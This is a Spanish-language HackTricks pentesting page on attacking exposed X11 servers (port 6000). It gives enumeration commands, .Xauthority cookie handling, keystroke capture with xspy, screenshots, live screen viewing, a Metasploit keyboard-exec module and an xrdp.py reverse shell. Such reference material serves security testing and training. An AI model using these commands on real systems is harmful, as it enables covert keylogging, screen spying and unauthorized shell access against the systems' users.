hacktricks/network-services-pentesting/6000-pentesting-x11.md

9.8 KiB
Raw Blame History

6000 - Pentesting X11

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de recompensas por errores!

Perspectivas de Hacking
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking

Noticias de Hacking en Tiempo Real
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e insights en tiempo real

Últimos Anuncios
Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones críticas de la plataforma

Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy mismo!

Información Básica

El Sistema de Ventanas X (conocido como X) es un sistema de ventanas para pantallas de mapa de bits, común en sistemas operativos basados en UNIX. X proporciona el marco básico para un entorno basado en GUI. X tampoco impone la interfaz de usuario los programas individuales se encargan de esto.
De: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

Puerto predeterminado: 6000

PORT       STATE   SERVICE
6000/tcp   open    X11

Enumeración

Verificar conexión anónima:

nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11

Enumeración Local

El archivo .Xauthority en la carpeta del usuario se utiliza para la autorización de X11. Desde aquí:

$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d  ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d  IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58  1...R.~..A.....X
00000030: 041d ef                                  ...

MIT-magic-cookie-1: Genera 128 bits de clave ("cookie"), almacenándola en ~/.Xauthority (o donde apunte la variable de entorno XAUTHORITY). El cliente la envía al servidor sin cifrar. El servidor verifica si tiene una copia de esta "cookie" y, de ser así, se permite la conexión. La clave es generada por DMX.

{% hint style="warning" %} Para usar la cookie debes establecer la variable de entorno: export XAUTHORITY=/ruta/a/.Xauthority {% endhint %}

Enumeración Local de Sesión

$ w
23:50:48 up 1 day, 10:32,  1 user,  load average: 0.29, 6.48, 7.12
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user     tty7     :0               13Oct23 76days 13:37   2.20s xfce4-session

En el ejemplo, localhost:0 estaba ejecutando xfce4-session.

Verificar Conexión

xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0

Keylogging

xspy para espiar las pulsaciones del teclado.

Ejemplo de Salida:

xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab

Captura de pantallas

xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png

Vista de Escritorio Remoto

Camino desde: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

./xrdp.py <IP:0>
Camino desde: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)

Primero necesitamos encontrar el ID de la ventana usando xwininfo
xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0

XWatchwin

Para visualización en vivo necesitamos usar

./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45

Obtener Shell

msf> use exploit/unix/x11/x11_keyboard_exec

Otra forma:

Reverse Shell: Xrdp también permite tomar un reverse shell a través de Netcat. Escriba el siguiente comando:

./xrdp.py <IP:0> no-disp

Se abrirá un nuevo panel de control donde podemos ver la opción R-shell, que se muestra a continuación:

Iniciaremos el modo de escucha de Netcat en nuestro sistema local en el puerto 5555, que se muestra a continuación:

Luego agregue la IP y el puerto y luego seleccione R-Shell, que se muestra a continuación:

Ahora, como se puede ver a continuación, tenemos acceso completo al sistema:

{% embed url="https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref" %}

Shodan

  • port:6000 x11

¡Únase al servidor de HackenProof Discord para comunicarse con hackers experimentados y cazadores de recompensas por errores!

Hacking Insights
Interactúe con contenido que profundiza en la emoción y los desafíos del hacking.

Noticias de Hacking en Tiempo Real
Manténgase al día con el mundo del hacking de ritmo rápido a través de noticias e insights en tiempo real.

Últimos Anuncios
Manténgase informado con los lanzamientos de nuevas recompensas por errores y actualizaciones cruciales de la plataforma.

Únase a nosotros en Discord y comience a colaborar con los mejores hackers hoy mismo.

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥